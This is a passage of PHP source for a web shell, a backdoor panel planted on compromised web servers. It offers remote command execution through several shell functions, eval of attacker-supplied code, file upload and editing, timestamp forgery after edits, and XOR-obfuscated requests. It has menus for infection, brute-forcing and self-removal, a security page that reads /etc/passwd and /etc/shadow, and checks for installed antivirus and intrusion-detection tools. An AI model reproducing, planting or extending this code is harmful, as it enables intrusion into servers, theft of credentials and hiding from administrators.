color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type=\'submit\']{background-color:#2E6E9C;}\n\tinput[type=\'button\']{background-color:#2E6E9C;}\n\tinput[type=\'submit\']:hover{background-color:#56AD15;}\n\tinput[type=\'button\']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#202832;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<script>\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n    var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = \'ajax=true\';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open(\'POST\', url, true);\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert(\'Request error!\');\n\t}\n</script>\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\t$explink = \'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';\n\tif(strpos(\'Linux\', $kernel) !== false)\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\n\telse\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\n\t\t$gid = @posix_getgrgid(@posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\t\tfor($j=0; $j<=$i; $j++)\n\t\t\t$cwd_links .= $path[$j].\'/\';\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\t}\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $▟)\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'▛\']))\n\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\t$drives = "";\n\tif ($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif (is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\t}\n\t/* (С) 08.2015 dmkcv */\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="http://noreferer.de/?http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\n\t\t \'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\n}\nfunction hardFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\n    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\n\t<tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\n\t\t<input type=hidden name=a value=\'FilesMan\'>\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\t\t<input type=hidden name=ne value=\'\'>\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\n\t</tr></table></div>\n\t\n\t</body></html>";\n}\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\nfunction ex($in) {\n\t$▖ = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$▖);\n\t\t$▖ = @join("\\n",$▖);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$▖ = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$▖ = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$▖ = "";\n\t\twhile(!@feof($f))\n\t\t\t$▖ .= fread($f,1024);\n\t\tpclose($f);\n\t}else return "↳ Unable to execute command\\n";\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\n}\nfunction viewSize($s) {\n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\nfunction perms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\nfunction viewPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';\n\telseif (!@is_writable($f))\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\n\telse\n\t\treturn \'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';\n}\nfunction hardScandir($dir) {\n    if(function_exists("scandir")) {\n        return scandir($dir);\n    } else {\n        $dh  = opendir($dir);\n        while (false !== ($filename = readdir($dh)))\n            $files[] = $filename;\n        return $files;\n    }\n}\nfunction which($p) {\n\t$path = ex(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\nfunction actionRC() {\n\tif(!@$_POST[\'p1\']) {\n\t\t$a = array(\n\t\t\t"uname" => php_uname(),\n\t\t\t"php_version" => phpversion(),\n\t\t\t"VERSION" => VERSION,\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\n\t\t);\n\t\techo serialize($a);\n\t} else {\n\t\teval($_POST[\'p1\']);\n\t}\n}\nfunction prototype($k, $v) {\n    $_COOKIE[$k] = $v;\n    setcookie($k, $v);\n}\nfunction actionSecInfo() {\n\thardHeader();\n\techo \'<h1>Server security information</h1><div class=content>\';\n\tfunction showSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'<span>\' . $n . \': </span>\';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'<br>\';\n\t\t\telse\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\t\t}\n\t}\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n    if(function_exists(\'apache_get_modules\'))\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'<br>\';\n\tif($GLOBALS[\'os\'] == \'nix\') {\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n            if(!$GLOBALS[\'safe_mode\']) {\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n                echo \'<br>\';\n                $temp=array();\n                foreach ($userful as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Userful\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($danger as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Danger\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($downloaders as $▟)\n                    if(which($▟))\n                        $temp[] = $▟;\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\n                echo \'<br/>\';\n                showSecParam(\'HDD space\', ex(\'df -h\'));\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\n            }\n\t} else {\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\n\t}\n\techo \'</div>\';\n\thardFooter();\n}\nfunction actionFilesTools() {\n\tif( isset($_POST[\'p1\']) )\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n\tif(@$_POST[\'p2\']==\'download\') {\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n\t\t\tob_start("ob_gzhandler", 4096);\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n\t\t\tif (function_exists("mime_content_type")) {\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\n\t\t\t\theader("Content-Type: " . $type);\n\t\t\t} else\n                header("Content-Type: application/octet-stream");\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\n\t\t\tif($fp) {\n\t\t\t\twhile(!@feof($fp))\n\t\t\t\t\techo @fread($fp, 1024);\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}exit;\n\t}\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\n\t\tif(!file_exists($_POST[\'p1\'])) {\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\n\t\t\tif($fp) {\n\t\t\t\t$_POST[\'p2\'] = "edit";\n\t\t\t\tfclose($fp);\n\t\t\t}\n\t\t}\n\t}\n\thardHeader();\n\techo \'<h1>File tools</h1><div class=content>\';\n\tif( !file_exists(@$_POST[\'p1\']) ) {\n\t\techo \'File not exists\';\n\t\thardFooter();\n\t\treturn;\n\t}\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n\tif(!$uid) {\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\n\tif( empty($_POST[\'p2\']) )\n\t\t$_POST[\'p2\'] = \'view\';\n\tif( is_file($_POST[\'p1\']) )\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\n\telse\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\n\tforeach($m as $v)\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\n\techo \'<br><br>\';\n\tswitch($_POST[\'p2\']) {\n\t\tcase \'view\':\n\t\t\techo \'<pre class=ml1>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</pre>\';\n\t\t\tbreak;\n\t\tcase \'highlight\':\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \'chmod\':\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$perms = 0;\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\n\t\t\t}\n\t\t\tclearstatcache();\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'edit\':\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\n\t\t\t\techo \'File isn\\\'t writeable\';\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif( !empty($_POST[\'p3\']) ) {\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\n\t\t\t\tif($fp) {\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\n\t\t\t\t\t@fclose($fp);\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\n\t\t\tif($fp) {\n\t\t\t\twhile( !@feof($fp) )\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\n\t\t\t\t@fclose($fp);\n\t\t\t}\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\n\t\t\tbreak;\n\t\tcase \'hexdump\':\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\n\t\t\t$n = 0;\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\n\t\t\t$len = strlen($c);\n\t\t\tfor ($i=0; $i<$len; ++$i) {\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\n\t\t\t\tswitch ( ord($c[$i]) ) {\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\n\t\t\t\t\tcase 13: $h[2] .= \' \'; 